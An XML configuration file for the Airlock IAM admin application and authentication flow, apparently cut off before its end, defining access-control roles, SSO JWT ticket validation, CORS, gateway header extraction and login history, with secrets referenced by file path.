<?xml version='1.0' encoding='UTF-8'?>
<medusaConfiguration xmlns="http://www.ergon.ch" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" medusa-version="8.6" xsi:schemaLocation="http://www.ergon.ch medusa-config.xsd">
  <plugin class="com.airlock.iam.admin.application.configuration.Adminapp" id="adminapp" uuid="9b860c6e-6af4-4817-b932-fc4a7219ff91">
    <pluginProperty name="accessControl">
      <plugin uuidref="88e1c791-5287-41b5-9227-7e1fc3574d94"/>
    </pluginProperty>
    <pluginProperty name="administrators">
      <plugin uuidref="96348ca1-0efc-4494-b8af-246fe3e106ff"/>
    </pluginProperty>
    <property name="afterLogoutUrl" var="MEDUSA_CONFIGURATION_AFTER_LOGOUT_URL">https://replace.me</property>
    <property name="allowedAfterLogoutUrlPattern" var="MEDUSA_CONFIGURATION_DYNAMIC_LOGOUT_URL_PATTERN">https://replace.me/ui/logout</property>
    <property name="allowedLoginUrlPattern" var="MEDUSA_CONFIGURATION_DYNAMIC_LOGIN_URL_PATTERN">https://replace.me/ui/not-authenticated</property>
    <pluginProperty name="contentSecurityPolicy">
      <plugin uuidref="c89b755f-82e7-4606-9b8e-4aebf688c6ff"/>
    </pluginProperty>
    <property name="customLoginUrl" var="MEDUSA_CONFIGURATION_CUSTOM_LOGIN_URL">https://replace.me/ui/not-authenticated</property>
    <pluginProperty name="gatewaySettings">
      <plugin uuidref="44854c5c-b5f9-4b6c-a428-c8f2fd24cc40"/>
    </pluginProperty>
    <pluginProperty name="languageSettings">
      <plugin uuidref="59dfe12f-256c-4362-9d43-c6a1e033c50c"/>
    </pluginProperty>
    <pluginProperty name="licenseAnalytics">
      <plugin uuidref="3d3d5aca-0f5d-4e1a-879a-1ce31a670ce4"/>
    </pluginProperty>
    <pluginProperty name="maintenanceMessages">
      <plugin uuidref="a2711d0f-74d1-47ad-bb83-27f53b6fed7d"/>
    </pluginProperty>
    <pluginProperty name="rest">
      <plugin uuidref="4c4f134e-fb4f-4217-819c-caa8be7eacb2"/>
    </pluginProperty>
    <property name="sameSitePolicy">LAX</property>
    <property name="serviceContainerSharedSecret">[FILE]sensitive-values/customer/secrets/SERVICE_CONTAINER_SHARED_SECRET</property>
    <property name="sessionIdleTimeout">30m</property>
    <property name="sessionLifetime">8h</property>
    <property name="skin">blue</property>
    <property name="skinFromParamAllowed">true</property>
    <propertyList name="startPages">
      <propertyValue>viewLog</propertyValue>
      <propertyValue>listUsers</propertyValue>
      <propertyValue>manageTokens</propertyValue>
    </propertyList>
    <pluginProperty name="stateRepository">
      <plugin uuidref="5a0e3bd1-7161-4fb0-a002-8e2ec53890ea"/>
    </pluginProperty>
    <pluginProperty name="users">
      <plugin uuidref="81f518f2-351c-449f-9b8c-03ac4c88ba7f"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.AdminappLanguageSettings" uuid="59dfe12f-256c-4362-9d43-c6a1e033c50c">
    <property name="defaultLanguage">en</property>
    <property name="resourcesFilePrefix">strings</property>
    <propertyList name="validLanguages">
      <propertyValue>en</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.AdminappRestConfig" uuid="4c4f134e-fb4f-4217-819c-caa8be7eacb2">
    <pluginProperty name="corsSettings">
      <plugin uuidref="9228c230-08d8-48f9-9be5-9c0e4a9c3f3c"/>
    </pluginProperty>
    <property name="csrfProtection">true</property>
    <property name="defaultPageSize">500</property>
    <pluginProperty name="hashFunction">
      <plugin uuidref="4988cc21-e638-4db5-8701-30aa69014336"/>
    </pluginProperty>
    <property name="linkResponseRewritingEnabled">true</property>
    <property name="maxPageSize">5000</property>
    <pluginProperty name="requestAuthentication">
      <plugin uuidref="1d46dabe-0e14-4fe2-be1e-d7a4b4996ed6"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.RoleBasedAccessControllerConfig" uuid="88e1c791-5287-41b5-9227-7e1fc3574d94">
    <property name="activateToken">AL_TM_AUTHENTICATION_TOKEN_ACTIVATE</property>
    <property name="createUser">AL_TM_USER_ADD</property>
    <property name="deactivateToken">AL_TM_AUTHENTICATION_TOKEN_DEACTIVATE</property>
    <property name="deleteMaintenanceMessage">AL_TM_MAINTENANCE_MESSAGES_DELETE</property>
    <property name="deletePassword">AL_TM_PASSWORD_DELETE</property>
    <property name="deleteToken">AL_TM_AUTHENTICATION_TOKEN_DELETE</property>
    <property name="deleteUser">AL_TM_USER_DELETE</property>
    <property name="editMaintenanceMessage">AL_TM_MAINTENANCE_MESSAGES_EDIT</property>
    <property name="editToken">AL_TM_AUTHENTICATION_TOKEN_EDIT</property>
    <property name="editUser">AL_TM_USER_DETAILS_EDIT</property>
    <property name="generatePassword">AL_TM_USER_PASSWORD_GENERATE_OR_SET</property>
    <property name="listMaintenanceMessages">AL_TM_MAINTENANCE_MESSAGES_LIST</property>
    <property name="listUsers">AL_TM_USERS_LIST</property>
    <property name="lockUser">AL_TM_USER_LOCK</property>
    <property name="manageTokens">AL_TM_TOKENS_MANAGE</property>
    <property name="triggerPasswordReset">AL_TM_PASSWORD_TRIGGER_RESET</property>
    <property name="unlockUser">AL_TM_USER_UNLOCK</property>
    <property name="viewAirlock2FAActivationSecret">AL_TM_2FA_ACTIVATION_SECRET_VIEW</property>
    <property name="viewContextData">AL_TM_USER_CTX_DATA_VIEW</property>
    <property name="viewToken">AL_TM_AUTHENTICATION_TOKEN_VIEW</property>
    <property name="viewUser">AL_TM_USER_DETAILS_VIEW</property>
    <property name="viewUserLogs">AL_TM_USER_LOGS_VIEW</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.administrators.AdministratorsConfiguration" uuid="96348ca1-0efc-4494-b8af-246fe3e106ff">
    <pluginProperty name="passwordPolicy">
      <plugin uuidref="50d9b6c1-fde5-450e-833c-8f99460e99fc"/>
    </pluginProperty>
    <pluginProperty name="ssoTicketAuthentication">
      <plugin uuidref="d759674d-e086-4889-ab57-2bcd8ad9f589"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.analytics.LicenseAnalyticsConfig" uuid="3d3d5aca-0f5d-4e1a-879a-1ce31a670ce4">
    <property name="enableUsageAnalytics">false</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.credential.AdminSsoTicketRequestAuthenticationConfig" uuid="d759674d-e086-4889-ab57-2bcd8ad9f589">
    <pluginProperty name="acceptedSsoTicketRepository">
      <plugin uuidref="cb674efc-2e45-4d26-ae69-4cb60b5e499f"/>
    </pluginProperty>
    <property name="queryParameterName">sso</property>
    <property name="rolesKey">roles</property>
    <pluginProperty name="ticketDecoder">
      <plugin uuidref="dddddddd-eeee-4fff-8aaa-000000000001"/>
    </pluginProperty>
    <property name="usernameKey">username</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.csp.AdminappContentSecurityPolicyConfig" uuid="c89b755f-82e7-4606-9b8e-4aebf688c6ff">
    <property name="contentSecurityPolicy">default-src 'self'; object-src 'none'; script-src ${cspNonce} 'strict-dynamic' 'self'; img-src 'self' data:; connect-src 'self'; base-uri 'self'; frame-ancestors 'none';</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.maintenancemessages.MaintenanceMessageConfiguration" uuid="a2711d0f-74d1-47ad-bb83-27f53b6fed7d">
    <property name="enableMenuItem">true</property>
    <propertyList name="languages">
      <propertyValue>en</propertyValue>
    </propertyList>
    <property name="messagesPerPage">25</property>
    <pluginProperty name="persister">
      <plugin uuidref="9a4cf61a-101a-4f90-bf20-9b121b3b5671"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.password.PasswordTokenController" uuid="d26050b5-5bd4-4dd3-8847-8efa8ab1b59b">
    <property name="autoOrderPassword">false</property>
    <property name="identifier">PASSWORD</property>
    <property name="showLetterAttributes">false</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.users.AnyRequiredRoleMatcher" uuid="9fde3706-85ea-477a-8866-28f340382d00"/>
  <plugin class="com.airlock.iam.admin.application.configuration.users.LockingSettings" uuid="598e2946-6148-42e1-952e-2059d8c1a022">
    <propertyList name="lockReasons">
      <propertyValue>LockReason.InitiatedByUser</propertyValue>
      <propertyValue>LockReason.InitiatedByAdmin</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.users.UserStoreConfiguration" uuid="dada0c94-a679-4267-ad5a-5241925afe38"/>
  <plugin class="com.airlock.iam.admin.application.configuration.users.UsersConfiguration" uuid="81f518f2-351c-449f-9b8c-03ac4c88ba7f">
    <property name="adminCannotDeleteUserWithSameName">false</property>
    <pluginList name="advancedSearchFilters">
      <plugin uuidref="0ebec23d-ac97-47b7-9046-fada24ebadfb"/>
      <plugin uuidref="4bd6a439-a6d5-4d57-88f7-5f8ba6ab1389"/>
    </pluginList>
    <property name="allowBulkChanges">false</property>
    <pluginList name="authenticationTokens">
      <plugin uuidref="d26050b5-5bd4-4dd3-8847-8efa8ab1b59b"/>
    </pluginList>
    <property name="automaticallyPerformLastSearch">true</property>
    <propertyList name="availableUserRoles">
      <propertyValue>admin</propertyValue>
      <propertyValue>customer</propertyValue>
      <propertyValue>employee</propertyValue>
    </propertyList>
    <property name="caseSensitiveSearchAsDefault">true</property>
    <pluginList name="columnsInUserList">
      <plugin uuidref="8ea81b3b-40b5-45f9-8f5e-7d89307901d6"/>
      <plugin uuidref="b0df70b3-3a79-400a-b292-e7d54a74b546"/>
      <plugin uuidref="3ab7f79a-0c01-4dab-93af-ea43105eb47b"/>
      <plugin uuidref="8a782fe4-1165-4d76-9c57-cd1a06ad01ca"/>
    </pluginList>
    <property name="defaultSortColumn">email</property>
    <property name="editable">true</property>
    <property name="enableMultipleNextAuthMethods">false</property>
    <pluginProperty name="lockingSettings">
      <plugin uuidref="598e2946-6148-42e1-952e-2059d8c1a022"/>
    </pluginProperty>
    <property name="maxUsersToList">25</property>
    <property name="onlySearchWordsAsDefault">false</property>
    <property name="rememberMeManagementEnabled">false</property>
    <pluginProperty name="roleSpecificSettingsSelection">
      <plugin uuidref="9fde3706-85ea-477a-8866-28f340382d00"/>
    </pluginProperty>
    <pluginList name="rowsOnUserDetailPage">
      <plugin uuidref="8ea81b3b-40b5-45f9-8f5e-7d89307901d6"/>
      <plugin uuidref="b0df70b3-3a79-400a-b292-e7d54a74b546"/>
      <plugin uuidref="3ab7f79a-0c01-4dab-93af-ea43105eb47b"/>
      <plugin uuidref="8a782fe4-1165-4d76-9c57-cd1a06ad01ca"/>
      <plugin uuidref="c468d38b-e681-4a69-86b3-1988f405fa28"/>
      <plugin uuidref="3f3145f4-bf44-46c8-963c-5603762f4fae"/>
      <plugin uuidref="e4384659-f6ce-434c-9b2f-b4893e5b3cb3"/>
      <plugin uuidref="577d0d98-8857-4a1d-8215-e14ade2625bd"/>
      <plugin uuidref="7aa0f698-ebe1-4e96-921f-7947b60c2c98"/>
      <plugin uuidref="68a30f0e-0593-46fe-93a4-c1240b7f5fa9"/>
      <plugin uuidref="8764a7ab-431e-4baf-932e-2bc2c1e36b92"/>
      <plugin uuidref="50bd72cc-0339-4861-9ec0-9a516122735c"/>
    </pluginList>
    <property name="searchInUsernameAsDefault">true</property>
    <property name="showMigrationSection">false</property>
    <property name="showUserValidSection">true</property>
    <property name="sortAscendingByDefault">true</property>
    <pluginProperty name="userDataSource">
      <plugin uuidref="dada0c94-a679-4267-ad5a-5241925afe38"/>
    </pluginProperty>
    <pluginProperty name="userIdentityGenerator">
      <plugin uuidref="bde086c4-a656-4271-8e2e-7c97b64202c8"/>
    </pluginProperty>
    <property name="userLockedSection">SHOW</property>
    <pluginList name="userSearchProfileItems">
      <plugin uuidref="f5ccc769-d3ff-4b87-8686-025eeeb4c437"/>
      <plugin uuidref="09d7b527-0fec-4a24-abf4-06bf1062eae8"/>
      <plugin uuidref="cb2f0d65-6ed9-4dc8-8a30-a60389a26cc5"/>
      <plugin uuidref="ff40b352-a244-4a25-86e2-328705c8cac0"/>
    </pluginList>
    <pluginProperty name="usernameSearchField">
      <plugin uuidref="9eb43a3f-0251-43bb-8c43-7d4483cf92c1"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.usersearch.UserProfileItemSearchConfig" uuid="09d7b527-0fec-4a24-abf4-06bf1062eae8">
    <property name="enabledByDefault">true</property>
    <property name="propertyName">surname</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.usersearch.UserProfileItemSearchConfig" uuid="cb2f0d65-6ed9-4dc8-8a30-a60389a26cc5">
    <property name="enabledByDefault">true</property>
    <property name="propertyName">givenname</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.usersearch.UserProfileItemSearchConfig" uuid="f5ccc769-d3ff-4b87-8686-025eeeb4c437">
    <property name="enabledByDefault">true</property>
    <property name="propertyName">email</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.usersearch.UserProfileItemSearchConfig" uuid="ff40b352-a244-4a25-86e2-328705c8cac0">
    <property name="enabledByDefault">true</property>
    <property name="propertyName">salutation</property>
  </plugin>
  <plugin class="com.airlock.iam.admin.application.configuration.usersearch.filter.LockedUserFilter" uuid="0ebec23d-ac97-47b7-9046-fada24ebadfb"/>
  <plugin class="com.airlock.iam.admin.application.configuration.usersearch.filter.SimpleLatestSuccessfulLoginFilter" uuid="4bd6a439-a6d5-4d57-88f7-5f8ba6ab1389"/>
  <plugin class="com.airlock.iam.authentication.application.configuration.AuthenticationFlowConfig" uuid="df53617a-7eb7-4d6d-8d21-8e7821deb9bc">
    <property name="addRemainingAttemptsInfo">false</property>
    <property name="persistencyless">false</property>
    <property name="preventUserEnumeration">false</property>
    <pluginProperty name="processors">
      <plugin uuidref="caed8f61-3e91-4507-b7ce-51f1746a8827"/>
    </pluginProperty>
    <pluginList name="steps">
      <plugin uuidref="3ba649e3-dc3d-4af2-8eee-1e69298a772a"/>
      <plugin uuidref="10000000-0000-4000-8000-000000000001"/><plugin uuidref="ebc76899-ae7b-4693-bb6d-0f5e4aa7644c"/>
      <plugin uuidref="8b6434e3-d96a-4be8-92ac-8d8041c730a3"/>
      <plugin uuidref="3fc84aad-19cc-4676-802e-1be2986ea51d"/>
    </pluginList>
    <property name="temporaryLockingActive">false</property>
    <pluginList name="usernameTransformers">
      <plugin uuidref="fbd2983a-9be4-4d28-9b88-016b306c7f71"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.newdevice.LoginFromNewDeviceStepConfig" uuid="3fc84aad-19cc-4676-802e-1be2986ea51d">
    <pluginProperty name="cookieSettings">
      <plugin uuidref="d9985ef6-9de7-4a06-bb49-91c17fe90f5c"/>
    </pluginProperty>
    <pluginMap name="onFailureGotos"/>
    <property name="requiresActivation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.password.MandatoryPasswordChangeRedFlagConfig" uuid="2282fe84-89d4-49cc-9ee5-2db11a3ad68d">
    <property name="name">MANDATORY_PASSWORD_CHANGE</property>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.password.MandatoryPasswordChangeStepConfig" uuid="44ffe4ff-1a72-405a-9355-6fb4e9bb08e6">
    <property name="authenticationMethodId">PASSWORD</property>
    <property name="oldPasswordAttempts">3</property>
    <property name="oldPasswordRequired">false</property>
    <pluginMap name="onFailureGotos"/>
    <property name="passwordAttributeKey">PASSWORD</property>
    <pluginProperty name="passwordPolicy">
      <plugin uuidref="e03766f6-1ecc-45b6-95d2-1e86a8e0147e"/>
    </pluginProperty>
    <pluginProperty name="passwordRepository">
      <plugin uuidref="6aa23df3-3705-4c7c-96e9-c6a8933e4508"/>
    </pluginProperty>
    <pluginProperty name="redFlag">
      <plugin uuidref="2282fe84-89d4-49cc-9ee5-2db11a3ad68d"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.password.UsernamePasswordAuthenticationStepConfig" uuid="3ba649e3-dc3d-4af2-8eee-1e69298a772a">
    <property name="authenticationMethodId">PASSWORD</property>
    <pluginMap name="onFailureGotos"/>
    <property name="passwordAttributeKey">PASSWORD</property>
    <pluginProperty name="passwordChangeRedFlag">
      <plugin uuidref="2282fe84-89d4-49cc-9ee5-2db11a3ad68d"/>
    </pluginProperty>
    <pluginProperty name="passwordRepository">
      <plugin uuidref="6aa23df3-3705-4c7c-96e9-c6a8933e4508"/>
    </pluginProperty>
    <pluginProperty name="policyToCheckOnLogin">
      <plugin uuidref="e03766f6-1ecc-45b6-95d2-1e86a8e0147e"/>
    </pluginProperty>
    <property name="requiresActivation">false</property>
    <pluginProperty name="skipCondition">
      <plugin uuidref="5fe74fd4-0c1d-45f6-8492-75775460a941"/>
    </pluginProperty>
    <pluginProperty name="stepId">
      <plugin uuidref="14d57f52-ed6a-4c10-aab3-ff4941422b9a"/>
    </pluginProperty>
    <pluginList name="tagsOnSuccess">
      <plugin uuidref="89a19d8f-31d0-41a5-9cfd-2f3cc8f31b5d"/>
      <plugin uuidref="89869ba8-5431-4e62-b43c-0ce6e0db0854"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.processor.DefaultAuthenticationProcessorsConfig" uuid="caed8f61-3e91-4507-b7ce-51f1746a8827">
    <property name="addLatestAuthenticationFeedback">false</property>
    <property name="updateLoginStatistics">true</property>
    <property name="writeLoginHistory">false</property>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.targetapp.TargetApplicationConfig" uuid="f70425f8-cab8-403f-9dcb-1713c60ccc55">
    <pluginProperty name="applicationId">
      <plugin uuidref="1965fab3-3c4d-4f50-b571-75455342821c"/>
    </pluginProperty>
    <pluginProperty name="applicationSelector">
      <plugin uuidref="57cf23f5-7d53-4ea4-af45-98a759e63ceb"/>
    </pluginProperty>
    <pluginProperty name="authenticationFlow">
      <plugin uuidref="df53617a-7eb7-4d6d-8d21-8e7821deb9bc"/>
    </pluginProperty>
    <pluginList name="identityPropagation"><plugin uuidref="86d107c7-b3bc-4149-bea1-5fbc4f1e2a71"/></pluginList><pluginProperty name="usernameToPropagateProvider">
      <plugin uuidref="a57d5b02-3314-4dc0-910d-4cf4398f7e81"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.targetapp.TargetApplicationsConfig" uuid="decb5d5d-0786-4d0a-9cb1-07973088e41e">
    <pluginProperty name="authenticationInformationAccessibleCondition">
      <plugin uuidref="5e4c5f87-d074-4fd6-bee8-01ded124400d"/>
    </pluginProperty>
    <pluginProperty name="behaviorUponExistingSession">
      <plugin uuidref="6414b971-d8ca-4e9b-8beb-978de12984bb"/>
    </pluginProperty>
    <pluginProperty name="defaultApplication">
      <plugin uuidref="f70425f8-cab8-403f-9dcb-1713c60ccc55"/>
    </pluginProperty>
    <property name="disableSessionBehaviorWhenRepresented">true</property>
    <property name="maxFailedLogins">3</property>
    <pluginProperty name="temporaryLockingConfig">
      <plugin uuidref="7421f640-f45a-40c7-927f-73323ab64931"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.ui.AuthFlowRedirectTargetConfig" uuid="4dbc9fdb-e087-45bc-b530-ac99ce1178f1">
    <pluginProperty name="applicationId">
      <plugin uuidref="1965fab3-3c4d-4f50-b571-75455342821c"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.ui.AuthenticationUiConfig" uuid="93c38ce3-69ee-4d18-96f0-930ab4455656">
    <pluginProperty name="cancellationTarget">
      <plugin uuidref="c34c81bb-0b09-4704-b89b-a351799bd826"/>
    </pluginProperty>
    <pluginProperty name="maintenanceMessageUiSettings">
      <plugin uuidref="dd4f3686-ac4f-42c4-991c-127c9af048e6"/>
    </pluginProperty>
    <property name="showCancelButtonOnFirstPage">false</property>
    <property name="showGotoButtons">true</property>
    <pluginProperty name="targetApplicationId">
      <plugin uuidref="1965fab3-3c4d-4f50-b571-75455342821c"/>
    </pluginProperty>
    <pluginProperty name="targetURIResolver">
      <plugin uuidref="92f4d40c-a6e1-41bd-be28-4b341df50d30"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.ui.AuthenticationUiConfigs" uuid="b9277594-261c-4826-bb12-f128eedc14d2">
    <pluginList name="flowUis">
      <plugin uuidref="93c38ce3-69ee-4d18-96f0-930ab4455656"/>
    </pluginList>
    <pluginProperty name="nonFlowUiSettings">
      <plugin uuidref="b71724d5-da1c-4314-a50e-a8f572268dda"/>
    </pluginProperty>
    <pluginProperty name="onLogout">
      <plugin uuidref="4ba1cce5-94af-48d8-b322-89a1ebc36e16"/>
    </pluginProperty>
    <propertyList name="ssoParameterNames">
      <propertyValue>sso</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.authentication.application.configuration.ui.NonFlowAuthenticationUiConfig" uuid="b71724d5-da1c-4314-a50e-a8f572268dda"/>
  <plugin class="com.airlock.iam.common.application.configuration.CorsSettings" uuid="05dc7077-9909-418e-9eb1-4f3c163ae238">
    <propertyList name="allowedOrigins" var="MEDUSA_CONFIGURATION_CORS_ALLOWED_HOSTS">
      <propertyValue>(?!)</propertyValue>
    </propertyList>
    <property name="strictCorsValidation">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.CorsSettings" uuid="9228c230-08d8-48f9-9be5-9c0e4a9c3f3c">
    <propertyList name="allowedOrigins" var="MEDUSA_CONFIGURATION_CORS_ALLOWED_HOSTS">
      <propertyValue>(?!)</propertyValue>
    </propertyList>
    <property name="strictCorsValidation">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.credential.SsoTicketRequestAuthenticationConfig" uuid="1d46dabe-0e14-4fe2-be1e-d7a4b4996ed6">
    <property name="providedUsernameKey">username</property>
    <property name="rolesKey">roles</property>
    <pluginProperty name="ssoTicketExtractor">
      <plugin uuidref="eb491e74-2f14-4725-a636-20250dbbf12c"/>
    </pluginProperty>
    <pluginProperty name="ticketDecoder">
      <plugin uuidref="94dddf97-b2ee-4c32-81cd-871478031c67"/>
    </pluginProperty>
    <property name="usernameKey">username</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.AirlockMicrogatewayConfig" uuid="44854c5c-b5f9-4b6c-a428-c8f2fd24cc40">
    <pluginProperty name="clientIpExtractor">
      <plugin uuidref="84d36548-160d-46bd-865e-f168dca539b6"/>
    </pluginProperty>
    <pluginProperty name="requestIdExtractor">
      <plugin uuidref="7dee80a3-9417-46f1-bcb2-ee8e01764235"/>
    </pluginProperty>
    <pluginProperty name="requestMtlsClientCertExtractor">
      <plugin uuidref="1a5778dc-5eaa-4ca8-baa7-0941826baf21"/>
    </pluginProperty>
    <pluginProperty name="requestUrlExtractor">
      <plugin uuidref="09e112ea-4b0c-4c92-9f24-4c43afed5302"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.AirlockMicrogatewayConfig" uuid="585ca596-930f-4138-84c8-e22032b11e7c">
    <pluginProperty name="clientIpExtractor">
      <plugin uuidref="da65506d-6dc3-40d8-88a6-85ad6c556444"/>
    </pluginProperty>
    <pluginProperty name="requestIdExtractor">
      <plugin uuidref="dc6282dd-3b9f-41d8-8ca1-62fc6606fe56"/>
    </pluginProperty>
    <pluginProperty name="requestMtlsClientCertExtractor">
      <plugin uuidref="f9615ee6-9477-45a5-bd61-2f4a4f89fd91"/>
    </pluginProperty>
    <pluginProperty name="requestUrlExtractor">
      <plugin uuidref="06809314-5568-4017-a7b4-0d23a11dac27"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.ClientCertificatePemExtractionFormatConfig" uuid="1386d2d5-0e54-429a-bb21-5a586c43a654"/>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.ClientCertificatePemExtractionFormatConfig" uuid="3b21d9d9-097b-4c21-b928-43c1e5ba1f4f"/>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.ClientIpExtractorConfig" uuid="84d36548-160d-46bd-865e-f168dca539b6">
    <property name="httpHeaderName">X-Forwarded-For</property>
    <property name="ignorePrivateIpAddresses">false</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.ClientIpExtractorConfig" uuid="da65506d-6dc3-40d8-88a6-85ad6c556444">
    <property name="httpHeaderName">X-Forwarded-For</property>
    <property name="ignorePrivateIpAddresses">false</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.RequestIdExtractorConfig" uuid="7dee80a3-9417-46f1-bcb2-ee8e01764235">
    <property name="httpHeaderName">X-Request-ID</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.RequestIdExtractorConfig" uuid="dc6282dd-3b9f-41d8-8ca1-62fc6606fe56">
    <property name="httpHeaderName">X-Request-ID</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.RequestMtlsClientCertificateExtractorConfig" uuid="1a5778dc-5eaa-4ca8-baa7-0941826baf21">
    <pluginProperty name="extractionFormat">
      <plugin uuidref="3b21d9d9-097b-4c21-b928-43c1e5ba1f4f"/>
    </pluginProperty>
    <property name="httpHeaderName">X-Forwarded-mTLS-Client-Cert</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.RequestMtlsClientCertificateExtractorConfig" uuid="f9615ee6-9477-45a5-bd61-2f4a4f89fd91">
    <pluginProperty name="extractionFormat">
      <plugin uuidref="1386d2d5-0e54-429a-bb21-5a586c43a654"/>
    </pluginProperty>
    <property name="httpHeaderName">X-Forwarded-mTLS-Client-Cert</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.RequestUrlExtractorConfig" uuid="06809314-5568-4017-a7b4-0d23a11dac27">
    <property name="httpHeaderName">X-URL</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.gateway.extractor.RequestUrlExtractorConfig" uuid="09e112ea-4b0c-4c92-9f24-4c43afed5302">
    <property name="httpHeaderName">X-URL</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.health.ModuleReadinessConfig" uuid="3149cf22-34f4-420f-9964-a56c46515a4a"/>
  <plugin class="com.airlock.iam.common.application.configuration.jwt.JwtTicketDecoderSettings" uuid="94dddf97-b2ee-4c32-81cd-871478031c67">
    <propertyList name="allowedAudiences" var="ADMINAPP_SSO_AUDIENCE">
      <propertyValue>(?!)</propertyValue>
    </propertyList>
    <propertyList name="allowedIssuers">
      <propertyValue>airlock-console</propertyValue>
      <propertyValue>management-center</propertyValue>
    </propertyList>
    <property name="audienceIsMandatory">true</property>
    <pluginProperty name="decrypter">
      <plugin uuidref="3937bdae-d681-49ad-9989-cf8eea43a12c"/>
    </pluginProperty>
    <property name="issuedAtIsMandatory">true</property>
    <property name="issuerIsMandatory">true</property>
    <property name="jwtIdIsMandatory">false</property>
    <property name="jwtIdTicketKey">jti</property>
    <property name="notBeforeIsMandatory">true</property>
    <pluginProperty name="signatureVerifier">
      <plugin uuidref="9b03e4b7-3c71-465e-8663-97c83c2a5a73"/>
    </pluginProperty>
    <property name="usernameTicketKey">username</property>
    <property name="validNotBeforeSkew">5</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.jwt.encryption.JwtTicketDirectAesEncryptionSettings" uuid="3937bdae-d681-49ad-9989-cf8eea43a12c">
    <property name="directEncryptionMethod">A256GCM</property>
    <property name="encryptionKey">[FILE]sensitive-values/infrastructure/keys/sso-encryption-key</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.jwt.signature.JwtTicketEcVerifierSettings" uuid="9b03e4b7-3c71-465e-8663-97c83c2a5a73">
    <property name="ecSignatureAlgorithm">ES512</property>
    <property name="keystorePath">sensitive-values/infrastructure/keys/sso-signing-public-key.pem</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.language.LanguageSettings" uuid="9cfed6ee-3181-47cb-97c7-93cec84fc496">
    <property name="defaultLanguage">en</property>
    <property name="resourcesFilePrefix">strings</property>
    <propertyList name="validLanguages">
      <propertyValue>en</propertyValue>
      <propertyValue>fr</propertyValue>
      <propertyValue>de</propertyValue>
      <propertyValue>it</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.logging.CorrelationIdSettingsConfig" uuid="c2b2dd68-bacb-4f09-8c57-f1ae1323332e">
    <property name="headerName">traceparent</property>
    <property name="validationPattern">^([0-9a-f]{2})-([0-9a-f]{32})-([0-9a-f]{16})-([0-9a-f]{2})$</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.loginhistory.DatabaseLoginHistoryRepositoryConfig" uuid="5aaebf72-6169-45e7-82a0-d22de34307b0">
    <property name="maxNumberOfEntries">50</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="bf82a061-f4a8-476c-9a34-6d813588e653"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.loginhistory.DatabaseLoginHistoryRepositoryConfig" uuid="a35878ef-7d93-4645-af49-3f83929924c6">
    <property name="maxNumberOfEntries">50</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.loginhistory.LoginHistoryConsistencyUserChangeListener" uuid="365a1c04-f498-4083-9e8f-62f141950249">
    <pluginProperty name="loginHistoryRepository">
      <plugin uuidref="a35878ef-7d93-4645-af49-3f83929924c6"/>
    </pluginProperty>
  </plugin>
